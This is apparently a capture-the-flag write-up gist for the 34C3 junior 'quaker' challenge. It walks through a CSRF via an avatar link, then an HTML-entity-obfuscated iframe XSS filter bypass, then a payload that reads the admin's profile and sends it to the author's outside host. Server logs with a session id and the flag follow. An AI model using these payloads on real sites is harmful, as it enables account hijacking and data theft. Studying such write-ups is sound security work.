Skip to content

Instantly share code, notes, and snippets.

@pich4ya

pich4ya/quaker - mid 477.txt

Last active December 30, 2017 00:54
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save pich4ya/22f933ad3dc70355752baf70f0c79eb1 to your computer and use it in GitHub Desktop.
Save pich4ya/22f933ad3dc70355752baf70f0c79eb1 to your computer and use it in GitHub Desktop.
Download ZIP
https://junior.34c3ctf.ccc.ac/ writeup quaker - mid 477
Raw
quaker - mid 477.txt
chall:
If you don't trust Twitter, you might like Quaker!
http://35.198.120.230/
1. login & reg
2. get user's token
http://35.198.120.230/messages/new
Receive message
Your user token: fed0a6d910e5322d6f42be63f927a1c6
Share this with users you want to receive messages from!
3. csrf get via avatar link
3.1 update profile with csrf that make victim follow the attacker
POST /profile HTTP/1.1
[...]
description=aaa&profile_pic=http://127.0.0.1/feed/fed0a6d910e5322d6f42be63f927a1c6/follow?aaa=bbb.png&csrfmiddlewaretoken=mw5Et0qK3FwecrOSGybvTyHGDZcO0XGSZ7XHvBGn0WWE0DvQVJJhnOiwMOkQykbW
3.2 send any message to admin at http://35.198.120.230/messages/new/da5eb9f38413743f07e11d63e67650b8
3.3 wait for few minutes.. and check http://35.198.120.230/followers
4. next, admin will read user's quak (from default message), and user quak is xss-able
4.1 there are huge numbers of XSS filters, my bypass is
<iframE srcdoc="&lt;&#115;&#99;&#114;&#105;&#112;&#116;&#32;&#115;&#114;&#99;&#61;&quot;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#49;&#56;&#56;&#46;&#49;&#54;&#54;&#46;&#49;&#56;&#53;&#46;&#49;&#54;&#54;&#47;&#99;&#117;&#115;&#116;&#111;&#109;&#46;&#106;&#115;&quot;&gt;&lt;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&gt;" /<
log:
35.198.120.230 - - [28/Dec/2017:21:26:36 +0000] "GET /hook.js HTTP/1.1" 200 86665 "http://127.0.0.1/feed/ff83c03cf438b95a40c53b48e7e82236" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"
35.198.120.230 - - [29/Dec/2017:03:36:56 +0000] "GET /?flag=You%20are%20close.%20Keep%20digging,%20the%20admin%20has%20stored%20his%20flag%20somewhere%20in%20his%20profile!;%20sessionid=2fl07t9ket39drnsfljxtjfbf7dlx9ej HTTP/1.1" 200 3525 "http://127.0.0.1/feed/ff83c03cf438b95a40c53b48e7e82236" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"
4. From the hint above, read the flag from admin's profile
fact:
- there are only 2 text field 1)username 2)desc but we know the username is admin
- so I think flag maybe in the desc
- beef doesn't work on phantomjs side (worked on chrome) + send ajax from phantomjs to my server does not work.. only thing work is src image maybe
- JQuery on the webpage is broken, first I submit <!-- to fix shit and then exploit
exploit:
<script src="https://code.jquery.com/jquery-3.2.1.min.js"></script>
<script>$.get('/profile', function(data) {
new Image().src="http://w.p7z.pw/?"+encodeURI(data.substring(2550, 2680));
});
</script>
but the quak has XSS filters, so bypass it with iframe.
final exploit:
<iframE srcdoc="&lt;&#115;&#99;&#114;&#105;&#112;&#116;&#32;&#115;&#114;&#99;&#61;&quot;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#99;&#111;&#100;&#101;&#46;&#106;&#113;&#117;&#101;&#114;&#121;&#46;&#99;&#111;&#109;&#47;&#106;&#113;&#117;&#101;&#114;&#121;&#45;&#51;&#46;&#50;&#46;&#49;&#46;&#109;&#105;&#110;&#46;&#106;&#115;&quot;&gt;&lt;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&gt;&#10;&lt;&#115;&#99;&#114;&#105;&#112;&#116;&gt;&#36;&#46;&#103;&#101;&#116;&#40;&apos;&#47;&#112;&#114;&#111;&#102;&#105;&#108;&#101;&apos;&#44;&#32;&#102;&#117;&#110;&#99;&#116;&#105;&#111;&#110;&#40;&#100;&#97;&#116;&#97;&#41;&#32;&#123;&#10;&#9;&#110;&#101;&#119;&#32;&#73;&#109;&#97;&#103;&#101;&#40;&#41;&#46;&#115;&#114;&#99;&#61;&quot;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#119;&#46;&#112;&#55;&#122;&#46;&#112;&#119;&#47;&#63;&quot;&#43;&#101;&#110;&#99;&#111;&#100;&#101;&#85;&#82;&#73;&#40;&#100;&#97;&#116;&#97;&#46;&#115;&#117;&#98;&#115;&#116;&#114;&#105;&#110;&#103;&#40;&#50;&#53;&#53;&#48;&#44;&#32;&#50;&#54;&#56;&#48;&#41;&#41;&#59;&#10;&#32;&#32;&#32;&#32;&#125;&#41;&#59;&#10;&lt;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&gt;" /<
output:
35.198.120.230 - - [29/Dec/2017:04:20:52 +0000] "GET /?%22text%22%20id=%22form3%22%20name=%22description%22%20value=%22I%20AM%20THE%20MASTER%20OF%20THE%20FLAGS!!!%20MUAHAHA%2034C3_pls_n0_steal_th1s_!!!%22%20uclass=%22form-contr HTTP/1.1" 200 3525 "http://127.0.0.1/feed/ff83c03cf438b95a40c53b48e7e82236" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1"
>>
?"text" id="form3" name="description" value="I AM THE MASTER OF THE FLAGS!!! MUAHAHA 34C3_pls_n0_steal_th1s_!!!" uclass="form-contr
flag is > 34C3_pls_n0_steal_th1s_!!!
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment